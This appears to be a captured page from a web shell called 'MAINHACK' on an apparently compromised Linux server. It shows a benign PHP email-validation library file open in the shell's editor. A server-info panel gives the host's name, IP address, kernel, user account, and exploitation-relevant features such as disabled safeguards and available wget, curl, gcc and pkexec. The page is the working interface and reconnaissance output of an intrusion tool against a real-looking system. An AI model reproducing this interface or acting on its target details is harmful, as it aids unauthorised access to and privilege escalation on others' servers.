[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: MessageIDParser.php
<?php namespace Egulias\EmailValidator; use Egulias\EmailValidator\Result\Result; use Egulias\EmailValidator\Parser\IDLeftPart; use Egulias\EmailValidator\Parser\IDRightPart; use Egulias\EmailValidator\Result\ValidEmail; use Egulias\EmailValidator\Result\InvalidEmail; use Egulias\EmailValidator\Warning\EmailTooLong; use Egulias\EmailValidator\Result\Reason\NoLocalPart; class MessageIDParser extends Parser { public const EMAILID_MAX_LENGTH = 254; /** * @var string */ protected $idLeft = ''; /** * @var string */ protected $idRight = ''; public function parse(string $str): Result { $result = parent::parse($str); $this->addLongEmailWarning($this->idLeft, $this->idRight); return $result; } protected function preLeftParsing(): Result { if (!$this->hasAtToken()) { return new InvalidEmail(new NoLocalPart(), $this->lexer->current->value); } return new ValidEmail(); } protected function parseLeftFromAt(): Result { return $this->processIDLeft(); } protected function parseRightFromAt(): Result { return $this->processIDRight(); } private function processIDLeft(): Result { $localPartParser = new IDLeftPart($this->lexer); $localPartResult = $localPartParser->parse(); $this->idLeft = $localPartParser->localPart(); $this->warnings = [...$localPartParser->getWarnings(), ...$this->warnings]; return $localPartResult; } private function processIDRight(): Result { $domainPartParser = new IDRightPart($this->lexer); $domainPartResult = $domainPartParser->parse(); $this->idRight = $domainPartParser->domainPart(); $this->warnings = [...$domainPartParser->getWarnings(), ...$this->warnings]; return $domainPartResult; } public function getLeftPart(): string { return $this->idLeft; } public function getRightPart(): string { return $this->idRight; } private function addLongEmailWarning(string $localPart, string $parsedDomainPart): void { if (strlen($localPart . '@' . $parsedDomainPart) > self::EMAILID_MAX_LENGTH) { $this->warnings[EmailTooLong::CODE] = new EmailTooLong(); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002